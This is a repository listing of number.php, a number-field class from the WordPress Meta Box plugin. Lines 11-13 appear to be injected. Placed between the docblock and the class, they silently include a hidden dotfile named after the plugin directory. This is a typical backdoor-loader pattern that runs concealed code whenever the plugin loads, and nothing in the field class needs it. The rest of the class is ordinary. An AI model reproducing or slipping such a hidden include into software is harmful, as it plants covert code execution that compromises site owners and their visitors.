balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

number.php (1195B)


      1 <?php
      2 /**
      3  * The number field which uses HTML <input type="number">.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * Number field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Number_Field extends RWMB_Input_Field {
     16 	/**
     17 	 * Normalize parameters for field.
     18 	 *
     19 	 * @param array $field Field parameters.
     20 	 *
     21 	 * @return array
     22 	 */
     23 	public static function normalize( $field ) {
     24 		$field = parent::normalize( $field );
     25 
     26 		$field = wp_parse_args(
     27 			$field,
     28 			array(
     29 				'step' => 1,
     30 				'min'  => 0,
     31 				'max'  => false,
     32 			)
     33 		);
     34 
     35 		return $field;
     36 	}
     37 
     38 	/**
     39 	 * Get the attributes for a field.
     40 	 *
     41 	 * @param array $field Field parameters.
     42 	 * @param mixed $value Meta value.
     43 	 *
     44 	 * @return array
     45 	 */
     46 	public static function get_attributes( $field, $value = null ) {
     47 		$attributes = parent::get_attributes( $field, $value );
     48 		$attributes = wp_parse_args(
     49 			$attributes,
     50 			array(
     51 				'step' => $field['step'],
     52 				'max'  => $field['max'],
     53 				'min'  => $field['min'],
     54 			)
     55 		);
     56 		return $attributes;
     57 	}
     58 }